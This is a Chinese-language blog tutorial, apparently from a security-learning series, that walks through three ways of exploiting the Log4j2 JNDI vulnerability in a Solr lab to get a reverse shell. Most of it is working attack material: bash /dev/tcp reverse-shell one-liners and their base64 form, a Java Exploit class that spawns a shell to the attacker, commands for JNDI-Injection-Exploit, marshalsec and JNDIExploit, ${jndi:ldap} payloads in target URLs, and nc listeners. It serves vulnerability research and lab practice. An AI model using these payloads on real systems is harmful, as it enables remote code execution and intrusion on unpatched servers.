Log4j2漏洞(二)3种方式复现反弹shell

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、前言

明天就是除夕了,提前祝大家:新年新气象,龙年龖龖!也祝愿自己2024年一切顺利!

本文主要是分享log4j2反弹shell的3种方式,第一种方式【JNDI-Injection-Exploit】对jdk版本要求比较高,因此我在靶场复现时统一采用jdk1.8.0_191。靶场环境和漏洞原理请参阅上一篇《Log4j2漏洞(一)原理和dnslog验证》。以下是3种反弹shell复现步骤

2 、反弹shell【JNDI-Injection】

这是对环境要求最高的一种方式。

2.1、制作反弹shell的payload
# 反弹shell指令-格式
bash -i >& /dev/tcp/反弹shell的IP/nc监听的端口 0>&1

# 反弹shell指令-kali攻击机
bash -i >& /dev/tcp/192.168.242.4/9999 0>&1

# 把以上payload进行base64编码,使用在线网址:https://base64.us/
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Mi40Lzk5OTkgMD4mMQ==
2.2、监听EXP中端口

在攻击机kali使用nc命令开启监听

# 端口自定义,kali系统的ip: 192.168.242.4
nc -lvvp 9999

# 提示以下信息表示监听成功
listening on [any] 9999 ...
2.3、启动JNDI服务

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,使用github上提供的Exploit,项目地址:https://github.com/welk1n/JNDI-Injection-Exploit ,下载下来自己编译打包,注意:编译打包要和攻击机的启动JNDI服务的jdk版本号(包含小版号)一定要一致,不然即使服务启动了,在反弹shell步骤会一直不成功。如果自己本机没有搭建jdk和maven环境的话,文末有提供下载方式。

# 切换到目标目录(我自己放jar的目录)
cd tools/log4j

# 命令-格式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64反弹shell的payload}|{base64,-d}|{bash,-i}" -A "攻击机IP地址"

# 目标执行的命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Mi40Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.242.4"

注意:每次运行 JNDI-Injection-Exploit 后,生成的rmi/ldap端口后一串字符是随机值,每次运行后URL值是不一样的。

Log4j2漏洞(二)3种方式复现反弹shell_第1张图片

2.4、设置payload并访问

经测试选择JDK 1.8 和JDK1.7下的rmi 和ldap都可以反弹shell成功,JDK没带版本的失败,建议跟自己环境同一版本JDK的,或者都可以测试一下。

# poc原文 
${jndi:rmi://192.168.242.4:1099/fvifkk}

${jndi:ldap://192.168.242.4:1389/fvifkk}

# 拼接poc进行访问
http://your-ip:8983/solr/admin/cores?action=${jndi:rmi://192.168.242.4:1099/fvifkk}
2.5、反弹shell成功

Log4j2漏洞(二)3种方式复现反弹shell_第2张图片

3、反弹shell-【marshalsec】

这是最麻烦的一种方式。

3.1、生成Exploit.class

jdk要求1.8_191版本,ip修改为kali的ip,端口为nc监听的端口,源码如下:

// javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
static {
try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/攻击机kali机的ip/nc监听的端口 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

注意:文件命名为Exploit.java,在文件目录,打开cmd,使用命令生成Exploit.class文件,或者在kali系统上生成也可以

javac Exploit.java 

然后把Exploit.class文件复制到kali系统自己指定的文件夹里面,比如:/home/kali/tools/log4j

文末我有提供Exploit.java源码文件下载方式,如果使用该方式,里面的ip和端口需要修改为自己测试机器的和监听的端口。

3.2、开启web服务能访问恶意文件
# 切换到目录
cd /home/kali/tools/log4j

# 开启web服务能访问恶意文件,kali系统的ip: 192.168.242.4
python3 -m http.server 80

直接访问:http://192.168.242.4,可以看到界面列出来当前目录下的所有文件

Log4j2漏洞(二)3种方式复现反弹shell_第3张图片

3.3、使用marshalsec工具开启ldap服务端

ip修改为kali的ip,端口为ldap,命令如下:

# 切换到目录
cd /home/kali/tools/log4j

# 开启ldap服务端命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.242.4/#Exploit" 7777

# 开启成功有以下提示信息
Listening on 0.0.0.0:7777
3.4、nc监听

监听恶意文件中的地址ip,也就是第3.1、生成Exploit.class的配置的ip和端口

# 监听命令
nc -lvvp 1234

# 监听成功有以下提示信息
listening on [any] 1234 ...
3.5、设置payload并访问
# poc原文
${jndi:ldap://192.168.242.4:7777/Exploit}

# 拼接poc进行访问
http://your-ip:8983/solr/admin/cores?action=${jndi:ldap://192.168.242.4:7777/Exploit}
3.6、反弹shell成功

Log4j2漏洞(二)3种方式复现反弹shell_第4张图片

4、反弹shell-【JNDIExploit】

这是最简单的一种复现方式,步骤少。

4.1、开启监听命令
# 切换到目录
cd /home/kali/tools/log4j

# 监听命令, -i 本机的ip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 8888 -p 6666 -i 192.168.242.4 
4.2、开启nc监听
nc -lvvp 10010
4.3、设置payload并访问
# poc原文
${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}

# 拼接poc进行访问
http://your-ip/solr/admin/cores?action=${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}
4.4、反弹shell成功

Log4j2漏洞(二)3种方式复现反弹shell_第5张图片

5、资料获取

如果需要Log4j2反弹shell的工具包,请关注公众号:大象只为你,后台回复:log4j2反弹shell。

你可能感兴趣的:(跟我学网安知识,log4j,漏洞复现,网络安全,命令执行)